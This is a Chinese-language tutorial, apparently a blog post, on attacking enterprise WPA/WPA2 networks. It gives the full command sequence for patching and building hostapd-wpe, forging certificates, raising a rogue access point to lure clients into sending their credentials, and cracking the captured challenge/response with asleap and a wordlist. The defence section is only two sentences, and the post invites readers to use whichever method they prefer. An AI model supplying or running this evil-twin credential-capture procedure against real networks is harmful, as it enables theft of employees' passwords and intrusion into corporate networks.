无线渗透(下)—企业级WPA破解

0x00. 企业级WPA/WPA2简介

  WPA/WPA2企业版:在大型企业网络中,通常采用802.1X的接入认证方式。802.1X认证是一种基于接口的网络接入控制,用户提供认证所需的凭证,如用户名和密码,通过特定的用户认证服务器(一般是RADIUS服务器)和可扩展认证协议EAP(Extensible Authentication Protocol)实现对用户的认证。WPA/WPA2支持基于EAP-TLS(Transport Layer Security)和EAP-PEAP(Protected EAP)的802.1X认证方式。

0x01. WPA/WPA2企业版认证原理

image

上图详细介绍了基于EAP-PEAP的802.1x认证方式(图片出自这里

  1.首先STA向周围发送PROBE REQUEST帧,等待应答

  2.AP收到之后回应一个PROBE RESPONSE帧给STA(AC连接多个AP)

  3.认证开始,AP本身不会进行认证过程,而是将STA发送过来的认证信息转发给后端的RADIUS服务器,由RADIUS服务器控制整个认证过程

  4.认证成功,连接上AP(具体交换的数据信息我在WPA加密那篇说过了,这里不再累赘)

0x02. WPA/WPA2企业版攻击原理

  在企业级的WPA认证过程中会需要账号密码来登陆AP,我们所需要做的就是伪造一个相同ESSID的AP,同样在后端也伪造RADIUS服务器,如果STA来连接伪造的AP,那么它就会将加密后的密钥传输给我们的RADIUS服务器,离线破解密钥就能得到密码,账号是明文传输的。

攻击原理

  1.伪造一个企业级的AP

  2.诱使目标连接AP,获取加密后的密钥

  3.离线破解,获取明文密钥

0x03. 攻击实战

下面给大家介绍一下攻击的操作步骤:

环境准备

  1.kali Linux虚拟机

  2.TL-WN722N网卡

环境布置与实战

1.为了伪造企业级的AP,我们需要先给kali中的hostapd打上hostapd-wpe补丁

git clone https://github.com/OpenSecurityResearch/hostapd-wpe

image

2.下载最新版的hostpad,安装依赖包

wget http://w1.fi/releases/hostapd-2.6.tar.gz && apt-get install libssl-dev libnl-genl-3-dev &&apt-get install libssl1.0-dev

image

3.解开tar包,给hostpad-2.6打补丁

tar zxvf hostapd-2.6.tar.gz && cd hostapd-2.6 && patch -p1 < ../hostapd-wpe/hostapd-wpe.patch

image

4.编译hostpad

cd hostapd/ && make

image

5.生成伪造证书

cd ../../hostapd-wpe/certs/ && ./bootstrap

image

6.配置hostapd-wpe.conf文件,ssid改为想要伪造的AP名字(我用的是wifi-free)

cd ../../hostapd-2.6/hostapd/ && vim hostapd-wpe.conf

image

7.启动无线网卡,不用开启monitor模式

service network-manager stop && airmon-ng check kill && ifconfig wlan0 up

image

8.伪造AP,诱使目标连接

./hostapd-wpe hostapd-wpe.conf

image

9.可以看到目标正在连接我们伪造的AP,用的username是admin,password经过了加密的,但是我们依然可以利用asleap来解密, -C指定challenge,-R指定response,-W指定字典文件.下面是破解出来的密码password

asleap -C 8d:a9:83:98:98:f4:34:a6 -R e5:24:78:69:2e:29:9f:ee:42:d8c:d7:4e:d3:f5:65:22:da:7d:57:24:14:da:14 -W ../../sqlmap.txt

image

0x04. 防御

  和WPA个人级的防御策略一样,不要随意在任何地方连接Wi-Fi,尽量将密码设置复杂一点,再安全的加密措施也会被弱密码毁于一旦。

0x05. 结语

  关于密码破解的文章就写到这里了,下篇文章笔者会教大家如果伪造AP,其实本篇文章已经通过hostapd伪造过一个AP了,笔者不过是想多介绍几种方法,大家挑喜欢的去用吧!另外最近笔者创建了自己的博客,欢迎大家访问

文章目录
  1. 1. 0x00. 企业级WPA/WPA2简介
    1. 1.0.1.   WPA/WPA2企业版:在大型企业网络中,通常采用802.1X的接入认证方式。802.1X认证是一种基于接口的网络接入控制,用户提供认证所需的凭证,如用户名和密码,通过特定的用户认证服务器(一般是RADIUS服务器)和可扩展认证协议EAP(Extensible Authentication Protocol)实现对用户的认证。WPA/WPA2支持基于EAP-TLS(Transport Layer Security)和EAP-PEAP(Protected EAP)的802.1X认证方式。
  • 2. 0x01. WPA/WPA2企业版认证原理
    1. 2.1. 上图详细介绍了基于EAP-PEAP的802.1x认证方式(图片出自这里)
      1. 2.1.1.   1.首先STA向周围发送PROBE REQUEST帧,等待应答
      2. 2.1.2.   2.AP收到之后回应一个PROBE RESPONSE帧给STA(AC连接多个AP)
      3. 2.1.3.   3.认证开始,AP本身不会进行认证过程,而是将STA发送过来的认证信息转发给后端的RADIUS服务器,由RADIUS服务器控制整个认证过程
      4. 2.1.4.   4.认证成功,连接上AP(具体交换的数据信息我在WPA加密那篇说过了,这里不再累赘)
  • 3. 0x02. WPA/WPA2企业版攻击原理
    1. 3.0.1.   在企业级的WPA认证过程中会需要账号密码来登陆AP,我们所需要做的就是伪造一个相同ESSID的AP,同样在后端也伪造RADIUS服务器,如果STA来连接伪造的AP,那么它就会将加密后的密钥传输给我们的RADIUS服务器,离线破解密钥就能得到密码,账号是明文传输的。
  • 3.1. 攻击原理
    1. 3.1.1.   1.伪造一个企业级的AP
    2. 3.1.2.   2.诱使目标连接AP,获取加密后的密钥
    3. 3.1.3.   3.离线破解,获取明文密钥
  • 4. 0x03. 攻击实战
    1. 4.0.1. 下面给大家介绍一下攻击的操作步骤:
  • 4.1. 环境准备
    1. 4.1.1.   1.kali Linux虚拟机
    2. 4.1.2.   2.TL-WN722N网卡
  • 4.2. 环境布置与实战
    1. 4.2.1. 1.为了伪造企业级的AP,我们需要先给kali中的hostapd打上hostapd-wpe补丁
    2. 4.2.2. 2.下载最新版的hostpad,安装依赖包
    3. 4.2.3. 3.解开tar包,给hostpad-2.6打补丁
    4. 4.2.4. 4.编译hostpad
    5. 4.2.5. 5.生成伪造证书
    6. 4.2.6. 6.配置hostapd-wpe.conf文件,ssid改为想要伪造的AP名字(我用的是wifi-free)
    7. 4.2.7. 7.启动无线网卡,不用开启monitor模式
    8. 4.2.8. 8.伪造AP,诱使目标连接
    9. 4.2.9. 9.可以看到目标正在连接我们伪造的AP,用的username是admin,password经过了加密的,但是我们依然可以利用asleap来解密, -C指定challenge,-R指定response,-W指定字典文件.下面是破解出来的密码password
  • 5. 0x04. 防御
    1. 5.0.1.   和WPA个人级的防御策略一样,不要随意在任何地方连接Wi-Fi,尽量将密码设置复杂一点,再安全的加密措施也会被弱密码毁于一旦。
  • 6. 0x05. 结语
    1. 6.0.1.   关于密码破解的文章就写到这里了,下篇文章笔者会教大家如果伪造AP,其实本篇文章已经通过hostapd伪造过一个AP了,笔者不过是想多介绍几种方法,大家挑喜欢的去用吧!另外最近笔者创建了自己的博客,欢迎大家访问。
  • |